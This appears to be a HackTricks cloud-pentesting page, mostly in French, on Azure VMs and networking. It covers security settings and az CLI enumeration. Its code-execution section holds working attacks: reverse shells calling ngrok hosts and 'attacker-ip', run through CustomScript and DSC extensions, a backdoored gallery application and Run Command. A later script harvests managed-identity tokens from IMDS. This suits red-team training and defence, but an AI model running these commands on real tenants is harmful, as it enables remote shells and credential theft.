Az - Virtual Machines & Network

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Azure Networking Basic Info

Azure networks contient différentes entités et façons de les configurer. Vous pouvez trouver de brèves descriptions, exemples et commandes d’énumération des différentes entités réseau Azure dans :

Az - Azure Network

VMs Basic information

Les Azure Virtual Machines (VMs) sont des serveurs flexibles, à la demande, basés sur le cloud qui vous permettent d’exécuter des systèmes d’exploitation Windows ou Linux. Elles vous permettent de déployer des applications et des workloads sans gérer le matériel physique. Les Azure VMs peuvent être configurées avec différentes options de CPU, mémoire et stockage pour répondre à des besoins spécifiques et s’intégrer avec les services Azure comme les virtual networks, le stockage et les outils de sécurité.

Security Configurations

  • Availability Zones: Les availability zones sont des groupes distincts de datacenters au sein d’une région Azure spécifique, physiquement séparés afin de minimiser le risque que plusieurs zones soient affectées par des pannes locales ou des catastrophes.
  • Security Type:
  • Standard Security: C’est le type de sécurité par défaut qui ne nécessite aucune configuration spécifique.
  • Trusted Launch: Ce type de sécurité renforce la protection contre les boot kits et les malwares au niveau kernel en utilisant Secure Boot et Virtual Trusted Platform Module (vTPM).
  • Confidential VMs: En plus d’un trusted launch, il offre une isolation matérielle entre la VM, l’hypervisor et la gestion de l’hôte, améliore le chiffrement du disque et more.
  • Authentication: Par défaut, une nouvelle SSH key is generated, bien qu’il soit possible d’utiliser une clé publique ou d’utiliser une clé précédente et que le nom d’utilisateur par défaut soit azureuser. Il est aussi possible de configurer l’utilisation d’un password.
  • VM disk encryption: Le disque est chiffré au repos par défaut à l’aide d’une clé gérée par la plateforme.
  • Il est aussi possible d’activer Encryption at host, où les données seront chiffrées sur l’hôte avant d’être envoyées au service de stockage, garantissant un chiffrement de bout en bout entre l’hôte et le service de stockage (docs).
  • NIC network security group:
  • None: Ouvre en gros tous les ports
  • Basic: Permet d’ouvrir facilement les ports entrants HTTP (80), HTTPS (443), SSH (22), RDP (3389)
  • Advanced: Sélectionner un security group
  • Backup: Il est possible d’activer des sauvegardes Standard (une par jour) et Enhanced (plusieurs par jour)
  • Patch orchestration options: Cela permet d’appliquer automatiquement les patches sur les VMs selon la politique sélectionnée, comme décrit dans les docs.
  • Alerts: Il est possible de recevoir automatiquement des alertes par email ou via une application mobile lorsque quelque chose se produit sur la VM. Règles par défaut :
  • Percentage CPU is greater than 80%
  • Available Memory Bytes is less than 1GB
  • Data Disks IOPS Consumed Percentage is greater than 95%
  • OS IOPS Consumed Percentage is greater than 95%
  • Network in Total is greater than 500GB
  • Network Out Total is greater than 200GB
  • VmAvailabilityMetric is less than 1
  • Heath monitor: Par défaut, vérifie le protocole HTTP sur le port 80
  • Locks: Cela permet de verrouiller une VM pour qu’elle puisse seulement être lue (ReadOnly lock) ou qu’elle puisse être lue et mise à jour mais pas supprimée (CanNotDelete lock).
  • La plupart des ressources liées aux VM supportent aussi les locks comme les disks, snapshots…
  • Les locks peuvent aussi être appliqués au niveau du resource group et de la subscription

Disks & snapshots

  • Il est possible d’activer l’attachement d’un disk à 2 VM ou plus
  • Par défaut, chaque disk est encrypted avec une platform key.
  • Idem pour les snapshots
  • Par défaut, il est possible de partager le disk depuis tous les réseaux, mais il peut aussi être restreint à seulement certains private access ou être complètement désactivé pour l’accès public et privé.
  • Idem pour les snapshots
  • Il est possible de générer une SAS URI (de 60 jours max) pour exporter le disk, et cela peut être configuré pour exiger une authentification ou non
  • Idem pour les snapshots
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

Une VM image est un template qui contient le système d’exploitation, les paramètres d’application et le filesystem nécessaires pour create a new virtual machine (VM). La différence entre une image et un disk snapshot est qu’un disk snapshot est une copie en lecture seule, à un instant donné, d’un seul managed disk, principalement utilisée pour la sauvegarde ou le dépannage, tandis qu’une image peut contenir multiple disks and is designed to serve as a template for creating new VMs.
Les images peuvent être gérées dans la Images section d’Azure ou dans Azure compute galleries, ce qui permet de générer des versions et de share l’image cross-tenant ou même de la rendre publique.

Un restore point stocke la configuration de la VM et des snapshots of all the managed disks attachés à la VM, cohérents au point-in-time pour les applications. Il est lié à la VM et son but est de pouvoir restaurer cette VM à l’état où elle se trouvait à ce moment précis.

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

From the docs: Site Recovery aide à garantir la continuité des activités en maintenant les applications métier et les workloads en fonctionnement pendant les pannes. Site Recovery réplique les workloads exécutés sur des machines physiques et virtuelles (VMs) d’un site primaire vers un emplacement secondaire. Lorsqu’une panne se produit sur votre site primaire, vous basculez vers un emplacement secondaire et accédez aux applications depuis celui-ci. Une fois l’emplacement primaire à nouveau opérationnel, vous pouvez y revenir.

Azure Bastion

Azure Bastion permet un accès sécurisé et transparent via Remote Desktop Protocol (RDP) et Secure Shell (SSH) à vos machines virtuelles (VMs) directement via le Azure Portal ou à l’aide d’un jump box. En éliminant le besoin d’adresses IP publiques sur vos VMs.

Le Bastion déploie un sous-réseau appelé AzureBastionSubnet avec un masque /26 dans le VNet sur lequel il doit fonctionner. Ensuite, il permet de se connecter aux VMs internes via le navigateur en utilisant RDP et SSH, en évitant d’exposer les ports des VMs à Internet. Il peut aussi fonctionner comme jump host.

Pour lister tous les Azure Bastion Hosts dans votre abonnement et vous connecter aux VMs via eux, vous pouvez utiliser les commandes suivantes :

# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadata

Le Azure Instance Metadata Service (IMDS) fournit des informations sur les virtual machine instances en cours d’exécution pour aider à leur gestion et configuration. Il offre des détails tels que le SKU, le storage, les configurations réseau, ainsi que des informations sur les événements de maintenance à venir via REST API disponible à l’adresse IP non routable 169.254.169.254, accessible uniquement depuis la VM. La communication entre la VM et IMDS reste à l’intérieur de l’hôte, garantissant un accès sécurisé. Lors de l’interrogation d’IMDS, les HTTP clients à l’intérieur de la VM doivent contourner les web proxies pour garantir une communication correcte.

De plus, pour contacter le metadata endpoint, la requête HTTP doit contenir l’en-tête Metadata: true et ne doit pas contenir l’en-tête X-Forwarded-For.

Lorsqu’on demande un access token au metadata endpoint, par défaut le metadata service utilisera l’system assigned managed identity pour générer le token, s’il existe une system assigned managed identity. S’il n’y a qu’UNE user assigned managed identity, alors celle-ci sera utilisée par défaut. Cependant, s’il n’existe pas de system assigned managed identity et qu’il y a plusieurs user assigned managed identities, alors le metadata service renverra une erreur indiquant qu’il y a plusieurs managed identities et qu’il est nécessaire de préciser laquelle utiliser.

Voyez comment l’énumérer dans :

Cloud SSRF - HackTricks

VM Enumeration

# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

Exécution de code dans les VMs

VM Extensions

Les Azure VM extensions sont de petites applications qui fournissent une configuration post-déploiement et des tâches d’automatisation sur les virtual machines (VMs) Azure.

Cela permettrait d’exécuter du code arbitraire à l’intérieur des VMs.

La permission requise est Microsoft.Compute/virtualMachines/extensions/write.

Il est possible de lister toutes les extensions disponibles avec :

# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

Il est possible de run custom extensions that runs custom code :

  • Exécuter une revers shell
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Exécuter un script situé sur internet
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Extensions VM pertinentes

L’autorisation requise est toujours Microsoft.Compute/virtualMachines/extensions/write.

VMAccess extension

Cette extension permet de modifier le mot de passe (ou d’en créer un s’il n’existe pas) des utilisateurs à l’intérieur des VMs Windows.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

Il s’agit d’une VM extension appartenant à Microsoft qui utilise PowerShell DSC pour gérer la configuration des Azure Windows VMs. Par conséquent, elle peut être utilisée pour exécuter des commandes arbitraires dans des Windows VMs via cette extension:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

Il s’agit d’une extension de VM qui permet d’exécuter des runbooks dans des VM depuis un automation account. Pour plus d’informations, consultez le Automation Accounts service.

VM Applications

Ce sont des packages contenant toutes les données d’application et les scripts d’installation et de désinstallation qui peuvent être utilisés pour ajouter et supprimer facilement une application dans des VM.

# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

Ce sont les chemins où les applications sont téléchargées dans le système de fichiers :

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

Vérifie comment installer de nouvelles applications dans https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

Caution

Il est possible de share des applications individuelles et des galleries avec d’autres subscriptions ou tenants. Ce qui est très intéressant car cela pourrait permettre à un attaquant de backdoor une application et de pivoter vers d’autres subscriptions et tenants.

Mais il n’existe pas de “marketplace” pour les vm apps comme il y en a pour les extensions.

Les permissions requises sont :

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

Exemple d’exploitation pour exécuter des commandes arbitraires :

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

Données utilisateur

C’est des données persistantes qui peuvent être récupérées à tout moment depuis le metadata endpoint. Notez que dans Azure les user data sont différentes de AWS et GCP car si vous placez un script ici, il n’est pas exécuté par défaut.

Données personnalisées

Il est possible de passer certaines données à la VM qui seront stockées dans des chemins attendus :

  • Dans Windows, les custom data sont placées dans %SYSTEMDRIVE%\AzureData\CustomData.bin sous forme de fichier binaire et elles ne sont pas traitées.
  • Dans Linux, elles étaient stockées dans /var/lib/waagent/ovf-env.xml et sont maintenant stockées dans /var/lib/waagent/CustomData/ovf-env.xml
  • Linux agent : Il ne traite pas les custom data par défaut, une image personnalisée avec les données activées est nécessaire
  • cloud-init: Par défaut, il traite les custom data et ces données peuvent être dans plusieurs formats. Il pourrait exécuter un script facilement en envoyant simplement le script dans les custom data.
  • J’ai essayé et Ubuntu comme Debian exécutent le script que vous mettez ici.
  • Il n’est pas non plus nécessaire d’activer les user data pour que cela soit exécuté.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Run Command

C’est le mécanisme le plus basique qu’Azure fournit pour exécuter des commandes arbitraires dans les VMs. La permission requise est Microsoft.Compute/virtualMachines/runCommand/action.

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Azure WireServer & GoalState

Les VMs Azure exposent des endpoints internes de la plateforme utilisés pour la configuration, la récupération de métadonnées et la gestion des identités. Comprendre la différence entre eux est essentiel pour l’enumeration, privilege escalation et post-exploitation.

Wire Server (Azure Fabric Endpoint)

Le Azure WireServer est une IP interne Azure (168.63.129.16) utilisée par la plateforme pour communiquer avec la VM.

Il est responsable de :

  • Communication avec le VM Agent
  • Diffusion de :
  • GoalState
  • ExtensionsConfig
  • Configuration interne de la VM (y compris les identités)
  • Services DHCP & DNS
  • Surveillance de l’état

GoalState & ExtensionsConfig

Le GoalState représente la configuration souhaitée de la VM telle que définie par Azure. Il peut inclure :

  • Configuration des extensions
  • Managed identities
  • État de provisioning
  • Instructions de l’agent

Le ExtensionsConfig contient la configuration détaillée des extensions de VM et peut inclure :

  • User Assigned Managed Identities
  • Paramètres des extensions
  • Secrets (selon l’extension)

Ces endpoints sont généralement accessibles via :

curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate

Considérations d’accès

L’IP WireServer est généralement accessible depuis l’intérieur de la VM via la pile réseau guest. Elle n’est pas limitée uniquement à Azure VM Agent, Run Command, ou VM extensions. Microsoft documente même des exemples de provisioning Linux sans agent où des scripts ordinaires dans la guest interrogent directement GoalState depuis 168.63.129.16.

Cependant, tous les processus n’obtiendront pas nécessairement le même résultat pratique :

  • Certains endpoints nécessitent des headers spécifiques à Azure, comme x-ms-version: 2012-11-30 pour GoalState.
  • Les contrôles locaux de la guest peuvent bloquer ou modifier l’accès, y compris les règles de firewall de l’hôte, les proxies, les routes, les network namespaces, les containers, ou la protection de l’endpoint.
  • VM extensions et Run Command s’exécutent souvent en tant que root/SYSTEM via le VM Agent, donc ils peuvent contourner les restrictions locales de l’OS qui affectent un utilisateur interactif.
  • Certaines données sont spécifiques à l’agent/extension et peuvent dépendre de l’état de provisioning de la VM, de l’agent installé, des extensions configurées, ou de la configuration de managed identity.

Par conséquent, si une requête fonctionne depuis Run Command mais échoue depuis SSH, l’explication habituelle est une différence de user OS, d’environnement, de routage, de proxy, de firewall, ou de namespace, et non une règle Azure générale selon laquelle seuls les contextes d’exécution de l’agent peuvent atteindre 168.63.129.16.

Lors des tests en lab, cette distinction était visible : l’exécution Linux/Windows VM Agent via Run Command ou Custom Script extensions pouvait atteindre GoalState sur 168.63.129.16, tandis qu’une session SSH normale sur une autre VM Linux pouvait toujours atteindre IMDS mais expirait lors de l’interrogation de GoalState. Traitez WireServer/GoalState comme utile mais dépendant de l’environnement ; ne vous reposez pas dessus comme sur la méthode canonique pour énumérer les managed identities.

Accès aux Managed Identity depuis l’intérieur de la VM

La méthode fiable pour utiliser les managed identities d’une VM est le endpoint IMDS managed identity sur 169.254.169.254, et non le XML ExtensionsConfig de WireServer. Les scripts qui ne recherchent que des nœuds UserAssignedIdentity dans ExtensionsConfig ne sont pas fiables car :

  • L’affectation de managed identity de la VM n’est pas garantie d’être représentée sous forme de nœuds UserAssignedIdentity dans le XML de l’extension.
  • Ils ratent les system-assigned managed identities.
  • Ils ne trouvent les user-assigned identities que si les données actuelles de GoalState/extension exposent par hasard la forme XML attendue.

Le modèle de sécurité documenté par Microsoft est que tout code exécuté sur la VM peut demander des tokens pour les managed identities disponibles sur cette VM. Cela a été confirmé depuis :

  • Linux SSH en tant qu’utilisateur VM normal.
  • Linux Run Command via le VM Agent.
  • Linux Custom Script extension via le VM Agent.
  • Windows Custom Script extension en tant que NT AUTHORITY\SYSTEM.

Dans tous ces contextes, IMDS pouvait générer des tokens pour Management, Microsoft Graph/Entra ID, Key Vault, et Storage lorsque l’identité demandée était disponible pour la VM.

Il y a deux problèmes différents qu’il est facile de confondre :

  • Obtenir un token pour une identité connue : Si l’identité est assignée à la VM, IMDS peut émettre des tokens pour différents audiences comme https://management.azure.com/, https://graph.microsoft.com/, https://vault.azure.net, et https://storage.azure.com/. Si plusieurs user-assigned identities existent, demandez une identité spécifique avec client_id, object_id, ou msi_res_id.
  • Découvrir chaque identité attachée depuis l’intérieur de la VM : IMDS ne fournit pas un endpoint simple pour “lister toutes les identities”. Une méthode pratique consiste à obtenir un token Management par défaut, lire la ressource de la VM via ARM, puis inspecter la propriété identity. Cela ne fonctionne que si cette managed identity a des permissions comme Microsoft.Compute/virtualMachines/read sur la VM. Si ARM renvoie 403, le token peut toujours être valide et utile, mais il ne peut pas énumérer la liste complète des identities de la VM.

Si la découverte via ARM échoue, vous pouvez toujours essayer des sources WireServer/HostGAPlugin telles que GoalState et http://168.63.129.16:32526/vmSettings pour rechercher des champs ressemblant à des identités (clientId, IdentityClientId, msi_res_id, des resource IDs de user-assigned identity), puis demander à IMDS des tokens avec ces sélecteurs. C’est un fallback, pas une garantie : ces endpoints dépendent du contexte et peuvent n’exposer aucun sélecteur de managed identity.

Les exemples suivants demandent d’abord un token. Ensuite, ils essaient de lire la ressource de la VM depuis Azure Resource Manager et d’afficher sa propriété identity. La deuxième étape ne fonctionne que si la managed identity dispose de permissions comme Microsoft.Compute/virtualMachines/read sur la VM.

#!/usr/bin/env bash
set -euo pipefail

imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"

# Optional. Examples:
#   export MSI_SELECTOR='client_id=<client-id>'
#   export MSI_SELECTOR='object_id=<principal-id>'
#   export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"

urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}

token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi

echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"

access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"

TOKEN="$access_token" python3 - <<'PY'
import base64, json, os

token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))

print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f"    {key}: {claims[key]}")
PY

echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"

arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi

Privilege Escalation

Az - Virtual Machines & Network Privesc

Unauthenticated Access

Az - VMs Unauth

Post Exploitation

Az - VMs & Network Post Exploitation

Persistence

Az - VMs Persistence

References

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks